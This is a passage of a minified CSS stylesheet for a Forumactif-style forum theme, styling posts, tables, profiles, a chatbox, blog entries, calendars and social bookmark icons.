.vote-button{font-weight:700;margin-left:-1px;text-align:center}.vote .vote-button a{text-decoration:none!important}.vote .vote-bar{border:1px solid #666;font-size:0;height:50px;margin:0 auto;width:3px}.vote .vote-no-bar{letter-spacing:-2px;margin-left:-2px;white-space:nowrap}.vote .vote-bar-plus{background-color:#0f0}.vote .vote-bar-minus{background-color:red}dd.lastpost{font-size:1.1em;width:20%}dd.mark{float:right!important;font-size:1.2em;line-height:200%;text-align:center;width:9%}dd.posts,dd.topics,dd.views{border:none;font-size:1.2em;line-height:2.2em;text-align:center;width:8%}dd.info{width:30%}dl.details{font-size:1.1em}dl.details dt{color:#666;display:block;float:left;text-align:right;width:10em}dl.details dd{color:#666;margin-bottom:5px;margin-left:10em;padding-left:5px}.span-tab{font-size:.9em}#cp-main{float:left;margin-left:20px;width:98%}* html #cp-main{margin-left:10px}#cp-main h1{border-bottom:none;color:#666;margin-left:10px;padding:0}#cp-main h3,#cp-main hr{border-color:#bfbfbf}#cp-main .content{padding:0}ul.cplist{border-top:1px solid #;margin-bottom:5px}#cp-main .panel{background-color:#fff}#cp-main .panel.sig{background-color:#CADCEB}#cp-main .panel p{font-size:1.1em}#cp-main .panel ol{font-size:1.1em;margin-left:2em}#cp-main .panel li.row{border-bottom:1px solid #;border-top:1px solid #}#cp-main table.table1{margin-bottom:1em}#cp-main table.table1 thead th{border-bottom:1px solid #333;color:#666;font-weight:700;padding:5px}#cp-main table.table1 tbody th{background-color:transparent!important;border-bottom:none;font-style:italic}#cp-main ol,#cp-main ul{list-style-type:none!important;padding:0!important}#ucp-main table.table1{padding:2px}table.table1{width:100%}html>body table.table1{width:100%}table.table1 thead th{color:#fff;font-size:1em;font-weight:400;line-height:1.3em;padding:0 0 4px 3px;text-transform:uppercase}table.table1 thead th span{padding-left:7px}table.table1 tbody tr{border:1px solid #e5f1f9}table.table1 tbody tr.hover,table.table1 tbody tr:hover{background-color:#;color:#666}table.table1 td{color:#666;font-size:1.1em}table.table1 tbody td{border-top:1px solid #fff;padding:5px}table.table1 tbody th{background-color:#e5f1f9;border-bottom:1px solid #000;color:#fff;padding:5px;text-align:left}table.table1 .name{text-align:left}table.table1 .posts{text-align:center!important;width:7%}table.table1 .joined{text-align:left;width:15%}table.table1 .active{text-align:left;width:15%}table.table1 .mark{text-align:center;width:7%}table.table1 .info{text-align:left;width:30%}table.table1 .info div{overflow:hidden;white-space:nowrap;width:100%}table.table1 .autocol{line-height:2em;white-space:nowrap}table.table1 thead .autocol{padding-left:1em}table.table1 .stats{text-align:center;width:12%}table.table1 .edit{text-align:right;vertical-align:top;width:5%}table.table1 .alignv{vertical-align:top}td.avatar-mini img{background-color:#fff;border:1px solid #1675bc;height:38px;vertical-align:middle;width:38px}dl.faq{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;line-height:1.4em;margin-bottom:2em;margin-top:1em}dl.faq dt{color:#666;font-weight:700}dl.faq dd p{border:1px dashed #fff;font-size:1em;margin:5px;padding:5px;text-align:justify}dl.faq ul{list-style-position:inside;list-style-type:disc}dl.faq ol{list-style-position:inside}.content dl.faq{font-size:1.2em;margin-bottom:.5em}#tabs{line-height:normal;margin:20px 0 -1px 7px}#tabs ul{list-style:none;margin:0;padding:0}#tabs li{display:inline;font-size:1em;font-weight:700;margin:0;padding:0}#tabs a{background:#e5f1f9 none no-repeat 0 -35px;cursor:pointer;float:left;margin:0 1px 1px 0;padding:0 0 0 5px;position:relative;text-decoration:none}#tabs a span{background:none no-repeat 100% -35px;color:#666;display:block;float:left;padding:6px 10px 6px 5px;white-space:nowrap}#tabs a:hover span{background-position:100% -70px;color:#f60}#tabs .activetab a{background-color:#cadceb;background-position:0 0;border-bottom:1px solid #cadceb;margin-bottom:-1px}#tabs .activetab a span{background-position:100% 0;color:#333;padding-bottom:7px}#tabs a:hover{background-color:#cadceb;background-position:0 -70px}#tabs .activetab a:hover{background-position:0 0}#tabs .activetab a:hover span{background-position:100% 0;color:#000}* html #tabs,* html .navbar,* html .post,* html dl.polls,* html fieldset dl,* html ul.linklist,* html ul.topiclist dl{height:1%}*+ html #tabs,*+ html .navbar,*+ html .post,*+ html dl.polls,*+ html fieldset dl,*+ html ul.linklist,*+ html ul.topiclist dl{min-height:1px}#tabs:after,.navbar:after,.post:after,dl.polls:after,fieldset dl:after,ul.linklist:after,ul.topiclist dl:after{clear:both;content:".";display:block;height:0;visibility:hidden}#smiley-box,.smile-status-box{background-color:#e5f1f9;float:right;margin-top:25px;width:18%}#smiley-box.sig,.smile-status-box.sig{margin-top:15px}#smiley-box-wysiwyg{background-color:#e5f1f9;float:left;margin:25px 0 0 15px;width:20%}* html #smiley-box-wysiwyg{margin:25px 3px 0 0}*+html #smiley-box-wysiwyg{margin:25px 3px 0 0}#smiley-box iframe,.smile-status-box iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}#smiley-box-wysiwyg iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}.smiley-element img{margin:0 15px 10px 0}.pagination{float:right;margin-top:5px;text-align:right;width:auto}* html .pagination{height:1%}*+ html .pagination{min-height:1px}.row .pagination{background:url(https://illiweb.com/fa/prosilver/icon_pages.gif) 0 50% no-repeat;display:block;float:right;font-size:.9em;margin-top:0;padding:1px 0 1px 15px;width:auto}.pagination span a,.pagination span a:active,.pagination span a:link,.pagination span a:visited{background-color:#fff;border:1px solid #B4BAC0;color:#5C758C;font-size:.9em;font-weight:400;line-height:1.5em;margin:0 2px;padding:0 2px;text-decoration:none}.pagination span a:hover{background-color:#0372be;border-color:#368AD2;color:#FFF;text-decoration:none}.pagination span a.pag-img{background-color:transparent;border:none}.pagination span a.pag-img:hover{background-color:transparent}.pagination span strong{background-color:#627DA3;border:1px solid #627DA3;color:#FFF;font-size:.9em;margin:0 2px;padding:0 2px}.pagination span.page-sep{display:none}#cp-main .pagination{float:right;padding-top:1px;width:auto}.postbody{clear:both;color:#666;float:left;line-height:1.48em;padding:0;width:76%}.postbody .topic-title{border:none;color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.5em;font-weight:700;line-height:125%;margin:0 0 .3em!important;padding:2px 0 0;text-transform:none}.postbody .content{font-size:1.3em}.postbody ul.profile-icons{float:right;list-style:none;margin-right:45px;padding:0;width:auto}.postbody ul.profile-icons img{cursor:pointer}.postbody ul.profile-icons li{margin:0 3px}.postbody h3 img{vertical-align:bottom}* html .postbody h3 img{vertical-align:middle}.search .postbody{width:68%}.search .postbody ol,.search .postbody ul{margin-left:1.8em}#cp-main .postbody p{font-size:1.1em}#cp-main .postbody h3{margin-top:0}.content{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;min-height:3em;overflow:hidden}.content blockquote{color:#536482}.content p{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.2em;line-height:1.4em;margin-bottom:1em}.content li{list-style-type:inherit}.content ol,.content ul{margin-bottom:1em;margin-left:3em}ul.profile-icons{list-style:none;margin-top:10px}ul.profile-icons li{background-position:0 100%;float:left;margin:0 6px 3px 0}* html ul.profile-icons li{width:1px}ul.profile-icons li a{background-position:0 0;display:block;width:100%}ul.profile-icons li span{display:none}ul.profile-icons li a:hover{background:none}#profile-advanced-layout{float:left;margin-right:-300px;width:100%}#profile-advanced-left{margin-right:300px}#profile-advanced-left #tabs{margin-top:4px}#profile-advanced-avatar{float:left;width:30%}#profile-advanced-points,#profile-advanced-reputation{float:left}#profile-advanced-avatar .module,#profile-advanced-details,#profile-advanced-points .module,#profile-advanced-reputation .module{margin-right:4px}#profile-advanced-avatar .module,#profile-advanced-points .module,#profile-advanced-reputation .module,#profile-advanced-right .module{margin-bottom:4px}#profile-advanced-details .pagination{float:left}#profile-advanced-details ol{list-style:none}#profile-advanced-details ol li{display:block;margin-bottom:4px}#profile-advanced-details .avatar{float:left}.avatar{background-color:#fff;border:1px solid #1675bc;width:50px}.avatar img{width:50px}.friend-block .avatar{cursor:pointer;margin:0 auto}.friend-block{float:left;margin:1px;overflow:hidden;text-align:center;width:68px}.friend_list_online_status{font-size:.8em;line-height:11px}.friend_list_online_status img{vertical-align:middle}.friends-foes-list{float:left;height:2em;width:200px}#profile-advanced-details .message-block{margin-left:57px}#profile-advanced-details .message-header{background:#dceaf5;border-top:1px solid #cadceb;margin-bottom:4px;padding:4px}#profile-advanced-details .message-date{float:right}#profile-advanced-details .message-body{margin-bottom:4px}#profile-advanced-details .message-footer{text-align:right}#profile-advanced-details .message-footer li{display:inline;margin:0 .25em}#profile-advanced-details .message-footer li:after{content:' .'}#profile-advanced-details .message-footer li a{margin-right:.25em;text-decoration:underline}#profile-advanced-details .message-footer li.last:after{content:normal}#profile-advanced-layout #new-message{clear:both;margin-top:-2em;position:relative}#profile-advanced-layout #tabs{bottom:0}#profile-advanced-layout #tabs #new-message-link{bottom:0;float:right;padding-bottom:10px;position:absolute;right:4px}#profile-advanced-layout #tabs #new-message-link a{background:none;float:none;margin:0 5px 0 0;padding:0}#profile-advanced-details .top{margin-bottom:16px}#profile-advanced-details .bottom{margin-top:16px}#profile-advanced-right{float:right;width:300px}#profile-advanced-add{margin-right:4px;padding:8px 0;text-align:right}#profile-advanced-details .stats-field{margin:4px 0 10px 4px;padding:0 10px 6px}#profile-advanced-details .stats-field legend{font-weight:700}#profile-advanced-details .stats-field ul{list-style-type:none;padding:0;text-indent:10px}#profile-advanced-details .stats-field li{margin:4px 0}#message-box textarea{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;width:80%}#textarea_content{margin-top:2px}#textarea_content textarea#text_editor_textarea{height:250px;width:100%!important}#textarea_content iframe#text_editor_iframe{height:100%;width:100%}form#quick_reply #textarea_content textarea#text_editor_textarea{height:150px;width:100%!important}form#quick_reply #textarea_content iframe#text_editor_iframe{height:100%;width:100%}.editor-message-box textarea{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.2em;width:80%}.editor-textarea_content{margin-top:2px}.editor-textarea_content textarea#text_editor_textarea{height:250px;width:100%!important}#quick_reply .editor-textarea_content textarea#text_editor_textarea{height:150px;width:100%!important}.module{background-color:#e5f1f9;color:#666;margin-bottom:4px;overflow:hidden;padding:0 10px}.module ol,.module ul{padding-left:40px}.module ul{list-style-type:disc}.module span.corners-bottom,.module span.corners-top{margin:0 -10px}.module h3{border-bottom:1px solid #666;color:#666;margin:.5em 0;text-align:center}* html .module h3{height:1%}*+ html .module h3{min-height:1px}.module dl.details dt{margin-left:5px;text-align:left}.module dl.details dd{margin-left:0}.module .box-content{float:left;width:100%}.module .box-content .mod-login-avatar{float:left}.module .box-content .mod-login{float:left;margin-left:.5em}.module .box-content .mod-login dt{text-align:left;width:7em}.module table.mod-top-posters{table-layout:fixed}.module .fields1 dd{margin-left:0}.module .poll-opt-result{white-space:nowrap}.module .poll dl{margin-top:1em}.module .poll dt{float:left;width:40%}.module .poll dd{margin-left:41%}*+ html #left .module,*+ html #right .module{word-wrap:break-word}* html #left .module,* html #right .module{word-wrap:break-word}.overview{border:2px solid #000;z-index:10000}.title-overview{margin:0;padding:5px 10px;text-align:center}.center-overview{padding:5px 20px 0;text-align:center}.left-overview{padding:5px 10px 0;text-align:left}#calendar ul,#mini-calendar ul{background-color:#dceaf5;height:120px;list-style-type:none}#calendar ul:hover,#mini-calendar ul:hover{background-color:#}#calendar ul li,#mini-calendar ul li{padding:3px 0 0 10px}#calendar table.table1 tbody tr.hover,#calendar table.table1 tbody tr:hover,#mini-calendar table.table1 tbody tr.hover,#mini-calendar table.table1 tbody tr:hover{background-color:transparent}#calendar .no-border,#mini-calendar .no-border{border:none}#calendar .center,#mini-calendar .center{text-align:center}#calendar .hover-td:hover,#mini-calendar .hover-td:hover{background-color:#}#calendar-result{float:left;margin:45px 0 0 8px;width:69%}#mini-calendar{float:left;width:270px}p.right-event{margin:0;padding:0;text-align:right}.signature{border-top:1px solid #CCC;color:#666;font-size:1.1em;line-height:140%;margin-top:1.5em;overflow:hidden}.gallery{float:left;margin-left:1%;min-height:125px;padding-top:10px}* html .gallery{height:125px;margin-left:8px}.gallery:hover{background-color:#}.info-gallery{margin:0!important;padding:5px;text-align:center}.effect{margin-right:15px;vertical-align:middle}.helpline{background-color:transparent;border:none;font-size:10px;width:450px}.gallery-avatar{height:260px;margin:0 0 20px 30px;text-align:center;width:190px}.gallery-avatar img{padding-top:15px}.gallery-avatar:hover{background-color:#}.buttons{float:left}.buttons div{background-position:0 100%;float:left;margin:0 5px 0 0}.buttons div a{background-position:0 0;display:block;height:100%;width:100%}.buttons div.post-icon{height:auto;width:auto}.buttons div span{display:none}.buttons div a:hover{background-image:none}#cp-main .buttons{margin-left:0}#topicreview{height:300px;overflow:auto;padding-right:5px}#topicreview .postbody{float:none;height:auto;margin:0;width:auto}#topicreview .post{height:auto}#topicreview h2{border-bottom-width:0}body.chatbox{background-image:none}.chatbox{background-color:#e5f1f9}#chatbox_header{background-color:#1675bc;height:30px}.chatbox .forabg{background-color:#1675bc;border:none;margin:0;padding:0}.chatbox-title,.chatbox-title a.chat-title{color:#fff!important}.chatbox-title{float:left;margin:0;padding:2px 5px 0;width:15em}.chatbox-options{float:right;font-size:11px;list-style:none;margin:.7em .5em .5em}.chatbox-options li{display:inline}.chatbox-options li,.chatbox-options li a,.chatbox-options li label{color:#fff}#chatbox_members{border-right:1px solid;bottom:30px;color:#666;overflow:auto;position:absolute;top:30px;width:180px}#chatbox_members .member-title{background-color:#cadceb;background-image:none;color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;padding:.5em .25em;text-align:center}#chatbox_members ul{list-style:none;margin:0 0 0 1em}#chatbox_members ul li{margin:.5em .5em .5em 0}#chatbox{bottom:30px;left:181px;line-height:10px;overflow:auto;position:absolute;right:0;top:30px}.chatbox_row_1{background-color:#e5f1f9;padding:4px}.chatbox_row_2{background-color:#dceaf5;padding:4px}.chatbox_row_3{background-color:#cadceb;padding:4px}.memberlist_row_1{background-color:#e5f1f9}#chatbox_footer{bottom:0;left:0;padding:5px;position:absolute;right:0}#chatbox_footer label{color:#fff}#message,#submit_button{border-width:1px}.fontbutton{background:#E1E1E2 none repeat scroll 0;border:medium none;color:#000;cursor:pointer;float:left;margin-right:10px;padding:1px;text-align:left}.fontbutton_normal{background:#E1E1E2}.fontbutton_selected{background:#BBC7CE;border:1px solid #22229C}.fontbutton_clicked{background:#959595;border:1px solid #22229C}.fontbutton_hover{background:#E1E1E2;border:1px solid #22229C}#chatbox_contextmenu{background-color:#cadceb;border:2px solid #000}#chatbox_contextmenu p{background:#e5f1f9;border-bottom:1px solid #777;font-family:verdana, arial, sans-serif;margin:0;padding:1px 4px}#chatbox_contextmenu p.hover{background:#dceaf5}#chatbox_contextmenu p.close{background:url();color:#fff;font-size:95%;padding:1px}#chatbox_contextmenu p.close img{padding-left:20px;vertical-align:middle}#chatbox_contextmenu a{color:#0372be;font-size:95%;text-decoration:none}#chatbox .user{font-weight:700}* html #chatbox-members{height:expression((document.documentElement.clientHeight?document.documentElement.clientHeight:document.body.clientHeight) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px)}* html #chatbox{height:expression((document.documentElement.clientHeight?document.documentElement.clientHeight:document.body.clientHeight) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px);width:expression((document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 1.3) ) + px)}* html #chatbox-footer{width:expression((document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px)}table.forumline{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;font-size:1.2em;padding:5px}table.forumline td.catHead{color:#fff;font-family:Arial,Helvetica,sans-serif,Verdana,Arial,Helvetica,sans-serif;font-size:.85em;font-weight:700;padding-bottom:5px;text-align:left;text-transform:uppercase}table.forumline tr:hover td.catHead{background-color:transparent}table th.thCornerR,table th.thTop,table.forumline th.thCornerL{background-color:#cadceb;height:25px}table.forumline td{height:20px}table.forumline tr:hover td{background-color:#}table span.gen{margin-left:5px}table.forumline.bars td,table.forumline.statistical td,table.forumline.values td{padding:0 1px}table.forumline td.stat-bar{padding:0 10px}span.corners-bottom,span.corners-bottom span,span.corners-top,span.corners-top span{background-repeat:no-repeat;display:block;font-size:1px;height:5px;line-height:1px}span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;margin:0 -5px}span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif);background-position:100% 0}span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 100%;clear:both;margin:0 -5px}span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif);background-position:100% 100%}.navbar span.corners-bottom,.navbar span.corners-top,.panel span.corners-bottom,.panel span.corners-top,.post span.corners-bottom,.post span.corners-top{margin:0 -10px}#cp-main span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif)}.row1{background-color:#e5f1f9}.row2{background-color:#dceaf5}.row3{background-color:#cadceb}.img-whois{float:left;margin-right:5px}.topic-actions{font-size:1.1em;height:auto;margin-bottom:5px;margin-top:1em}*+html .topic-actions{margin-top:1em}.column1{border-right:1px solid #fff;clear:left;float:left;margin-left:3%;width:46%}.column2{clear:right;float:right;margin-left:3%;width:46%}* html .column1,* html .column2{width:45%}.left-box{float:left;text-align:left;width:auto}.right-box{float:right;text-align:right;width:auto}.center{margin-left:auto;margin-right:auto;text-align:center}.clear{background:transparent;clear:both;display:block;font-size:1px;line-height:1px}* html .clear{height:1%}*+ html .clear{min-height:1px}.online{background-image:url(https://illiweb.com/fa/empty.gif);background-position:right 0;background-repeat:no-repeat}.autowidth{width:auto!important}.italic{font-style:italic}.pathname-box{float:left;margin-left:15px;margin-top:3px}.pathname-box p{margin-bottom:0}.select{background-color:#FFF;border:1px solid #BCBCBC;left:0;overflow:hidden;position:absolute;top:0;width:0;z-index:100}* html .select{margin-top:-9px}* html #sel_smilies{height:200px;overflow:auto}.select p{font-size:.9em;margin:0;padding:4px 6px}.select button{background-color:#FFF;border:none;font-size:.9em;margin:0;padding:4px;text-align:left}.select button.button2{border:1px solid #BCBCBC;padding:0}*+html .select button.button2{padding-left:3px;padding-right:3px}* html .select button.button2{padding-left:3px;padding-right:3px}.select button.button2:hover{background-position:0 100%;border:1px solid #f60;color:#f60}.select button:hover,.selectHover{background-color:#EEE;cursor:pointer}button.bbcode{background-image:url(https://illiweb.com/fa/wysiwyg/bg_button.png);border:1px solid #e3adad}#format-buttons{margin:15px 0 5px}#format-buttons input,#format-buttons select,button.button2{vertical-align:middle}ul#picture_legend,ul#privmsgs-menu{padding:3px 0;text-align:center}ul#picture_legend li,ul#privmsgs-menu li{display:inline;margin:2px 10px}ul#picture_legend li img,ul#privmsgs-menu li img{vertical-align:middle}input.checkbox{background-color:transparent!important;width:auto!important}.postlink{border-bottom-color:#368AD2;color:#368AD2}.postlink:visited{border-bottom-color:#666;color:#5D8FBD}.postlink:active{color:#368AD2}.postlink:hover{background-color:#D0E4F6;color:#0D4473}ul.topiclist li.row dd.dterm a.subforum,ul.topiclist li.row dt a.subforum{background-image:none;background-position:0 50%;background-repeat:no-repeat;padding:0 0 0 12px;position:relative;white-space:nowrap}#cp-main .panel li.header dd,#cp-main .panel li.header dt{color:#000;margin-bottom:2px}html>body dd label input{vertical-align:text-bottom}.mcp-main .postbody{width:100%}.pmlist li.row1{border:solid 3px transparent;border-width:0 3px}.pmlist li.row2{border:solid 3px transparent;border-width:0 3px}dd.lastpost span.color-groups{float:left;padding-left:0}* html dd.lastpost span.color-groups{cursor:pointer}*+html dd.lastpost span.color-groups{cursor:pointer}.warning{color:#f33}.obligatory{color:#f33}.captcha div.captcha-img{float:left;margin:0 1em 0 0}.captcha .inputbox{margin-top:.5em}#main-content a.cgu-buttons,#main-content input.cgu-buttons{padding:3px 5px}.rpg-table{border:1px solid #ccc;border-collapse:collapse}.rpg-table td{border:1px solid #ccc;padding:.25em}.copyright{color:#666;padding:5px;text-align:center}.clearfix:after{clear:both;content:".";display:block;height:0;visibility:hidden}*+ html .clearfix{min-height:1px}* html .clearfix{clear:both;height:1%;position:relative}* html div#logo-desc #logo{cursor:hand;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader (src='https://i.imgur.com/j7DwZVt.png');height:45px;width:274px}#login_popup{background-color:#cadceb;border:1px solid #1675bc;display:none;padding:6px;position:absolute;z-index:10000}#login_popup .h3{margin:0 0 6px;padding:0 0 6px}#login_popup_buttons{bottom:6px;position:absolute;right:6px}#login_popup_buttons input{margin-left:6px}ul.profile_field_list{padding:0}html ul.profile_field_list li{list-style-type:none}ul.profile_field_list > li{list-style-type:none}.inputURL{font-family:"Courier New", "Times New roman";font-size:10px;letter-spacing:-1px}.middleline{line-height:2em}.invisible{display:none;visibility:hidden}.visible{display:block;visibility:visible}.ajax-profil_hover{background:transparent}.ajax-profil_parent{position:relative;zoom:1}.ajax-profil_edit{cursor:pointer;left:-4px;position:absolute;top:0}.ajax-profil_edit img{margin-left:4px}.ajax-profil_valid{cursor:pointer;margin-left:4px;vertical-align:middle}.column1 dl.details dd,.column2 dl.details dd{padding-left:16px}#profile-tab-field-profil dl{margin:10px 0 0;padding:8px 10px 8px 0;width:98%}#profile-tab-field-profil dl dt{display:block;float:left;width:10em}#profile-tab-field-profil dl dd{margin-left:10em;padding-left:12px}#profile-tab-field-profil div.separator{border-bottom:1px solid #dcdcdc;clear:both;font-size:1px;line-height:1px;padding-top:10px}#profile-tab-field-profil .ajax-profil_edit{left:-4px}.jqmWindow{background-color:#fff;border:1px solid #1675bc;display:none;left:50%;margin-left:-225px;margin-top:-125px;position:fixed;top:50%;width:450px}.jqmOverlay{background-color:#000}#search_form h1{margin:.1em 0 .3em}#jqmHide{margin:.4em 0}.jqDrag{cursor:move}#first-post-br{border:0;border-top:solid 1px #1675bc;margin:20px auto;width:80%}.blog .icon{background-position:10px 20px!important}.blog .dterm{background-position:5px 20px!important;width:94%!important}.blog_cal-border{background:#e5f1f9;border:1px solid #1675bc;display:inline;float:left;font-size:1.2em;margin-right:1em;padding:1px}.blog_cal-content{background:#1675bc;color:#fff;font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Sans-Serif;line-height:1.4em;padding:1px;text-align:center;width:2.9em}.blog_cal-content span{display:block}.blog_cal-day{font-size:1.6em;letter-spacing:.2em;padding-left:.2em}.blog_cal-month{font-size:2em;font-weight:700;line-height:.7em}.blog_cal-year{font-size:.8em;line-height:1.2em}.blog_title{font-size:1.3em;padding-top:1em}.blog_title h2{display:inline}.blog_title .topictitle{font-size:1.2em}.blog_message{font-size:1.1em;margin-top:.5em}.blog .codebox dt{width:92%}* html .blog .codebox dt,*+html .blog .codebox dt{width:100%}.blog_comments{text-align:right}.blog_comments img{vertical-align:middle}#blog_comments{margin:0 auto;width:90%}#blog_comments .postbody{width:96%}#blog_comments .postbody .content ul{list-style-type:disc}.blog_comment-avatar{float:left}.blog_comment-avatar img{background-color:#fff;border:1px solid #1675bc;margin:5px 5px 0 0;vertical-align:middle;width:38px}#blog_comments .h3{margin-left:45px;margin-top:0;min-height:22px;overflow:hidden;padding:0}.blog_comment-title{float:left;margin-top:7px;min-height:12px}#blog_comments .profile-icons{list-style-position:inherit;margin:0}#bookmarks{float:right}#bookmarks a img{background:url(https://illiweb.com/fa/social_bookmarking/social_bookmarking.png) no-repeat scroll;height:20px;vertical-align:middle;width:20px}#bookmarks a img.twitter{background:url(https://illiweb.com/fa/social_bookmarking/twitter.png) no-repeat scroll;height:16px;margin:2px;width:16px}#bookmarks img.delicious{background-position:-10px -10px}#bookmarks img.digg{background-position:-10px -50px}#bookmarks img.excite{background-position:-9px -90px}#bookmarks img.facebook{background-position:-9px -128px}#bookmarks img.furl{background-position:-10px -166px}#bookmarks img.google{background-position:-10px -206px}#bookmarks img.live{background-position:-9px -246px}#bookmarks img.netscape{background-position:-9px -284px}#bookmarks img.newsvine{background-position:-9px -322px}#bookmarks img.reddit{background-position:-10px -360px}#bookmarks img.slashdot{background-position:-10px -400px}#bookmarks img.smarking{background-position:-9px -440px}#bookmarks img.stumbleupon{background-position:-10px -478px}#bookmarks img.technorati{background-position:-10px -518px}#bookmarks img.yahoo{background-position:-10px -558px}.mceContentBody{background:#dceaf5;color:#666}.resize_process .resizebox{display:none}.resize_process img.resize_img{display:none}.resizebox a.enlarge{display:inline;zoom:1}.resizebox a.fullsize,.resizebox a.resize,.resizebox.enlarged a.enlarge{display:none}.resizebox.enlarged a.resize,.resizebox.showfull a.fullsize{display:inline;zoom:1}.resizebox{background-color:#fff;cursor:default;display:inline-block;font-size:10px;font-style:normal;font-weight:400;line-height:1.1em;margin:0;max-width:100%;text-align:left}.resizebox div{font-style:normal;font-weight:400;margin:0}.resizebox .resize_border{border:1px solid #dceaf5;display:block}.resizebox .resize_content{display:inline;padding:5px 10px;zoom:1}.resizebox .resize_filler{border:none;display:inline;padding:0;width:40px;zoom:1}.attachbox{background-color:#ebeadd;border:1px dashed #cadceb;clear:left;color:#666;float:left;margin:5px 5px 5px 0;padding:6px;width:auto}.attachbox dt{font-family:Arial,Helvetica,sans-serif;text-transform:uppercase}.attachbox .attachments{clear:left;display:inline-block;font-size:.9em;margin-left:10px;padding:0}.attachbox dl.file{border-top:1px solid #dceaf5;display:block;font-family:Verdana,Arial,Helvetica,sans-serif;margin-bottom:10px}dl.file dt{display:inline-block;font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:700;padding:0;text-align:center;text-transform:none;vertical-align:middle}dl.file dd{display:inline-block;margin:0 0 0 10px;vertical-align:top}dl.file dd span{display:block}.info{font-size:10px;font-style:italic}.codebox{display:block}.spoiler_content{display:none}.spoiler_content.hidden{display:block}.user_login_form{margin-bottom:5px}.fb_or{background-color:#cadceb;border:2px solid #;color:#536482;font-weight:700;height:16px;line-height:16px;margin:0 30px;padding:5px;text-align:center;width:26px}.fb_or_widget{background-color:#cadceb;border:2px solid #;color:#536482;font-weight:700;height:16px;line-height:16px;margin-bottom:15px;margin-left:auto;margin-right:auto;padding:5px;text-align:center;width:26px}.fb-like{margin:0 5px;overflow:hidden}#cont_pwd{height:21px;margin:0 0 0 20px;width:150px}.pwd_img{color:#000;display:none;font-size:11px;font-weight:700;height:14px;line-height:14px;padding:4px 0 3px;text-align:center;width:150px}#pwd_good{background:url(https://illiweb.com/fa/p_strength/pwd_good.png)}#pwd_middle{background:url(https://illiweb.com/fa/p_strength/pwd_middle.png)}#pwd_bad{background:url(https://illiweb.com/fa/p_strength/pwd_bad.png)}#fb_explain{float:left;padding:5px 0 0 5px}.left{float:left}.fld_connexion{width:300px}.fb_login{height:30px;margin:50px 0 0}.fb_login .fb_or{margin:0 70px 0 60px}.fb_login_widget{margin:10px 0 0}.fb_login_widget .fb_or{margin:0 70px 0 60px}#cont_fb_invit iframe{width:760px!important}ul.topiclist.bg_none{background:none}.mod_bookmarks a img{background:url(https://illiweb.com/fa/social_bookmarking/social_bookmarking_fa.png) no-repeat scroll;height:20px;vertical-align:middle;width:20px}.mod_bookmarks img.digg{background-position:-10px -47px}.mod_bookmarks img.delicious{background-position:-10px -8px}.mod_bookmarks img.reddit{background-position:-10px -359px}.mod_bookmarks img.slashdot{background-position:-10px -398px}.mod_bookmarks img.stumbleupon{background-position:-10px -476px}.mod_bookmarks img.furl{background-position:-10px -163px}.mod_bookmarks img.yahoo{background-position:-10px -554px}.mod_bookmarks img.google{background-position:-10px -204px}.mod_bookmarks img.blinklist{background-position:-10px -665px}.mod_bookmarks img.blogmarks{background-position:-10px -630px}.mod_bookmarks img.technorati{background-position:-10px -516px}.mod_rss_feeds a img{background:url(https://illiweb.com/fa/rss_mod/sprite_rss_feeds.png) no-repeat scroll;height:17px;padding-bottom:2px;vertical-align:middle;width:91px}.mod_rss_feeds img.yahoo{background-position:0 0}.mod_rss_feeds img.google-reader{background-position:-100px 0}.mod_rss_feeds img.msn{background-position:-199px 0}.mod_rss_feeds img.aol{background-position:-299px 0}.mod_rss_feeds img.newsgator{background-position:-399px 0}.mod_rss_feeds img.netvibes{background-position:-498px 0}.mod_rss_feeds img.bloglines{background-position:-598px 0}.sprite-arrow_prosilver_down{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:0 0;height:6px;width:6px}.sprite-arrow_prosilver_left{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top 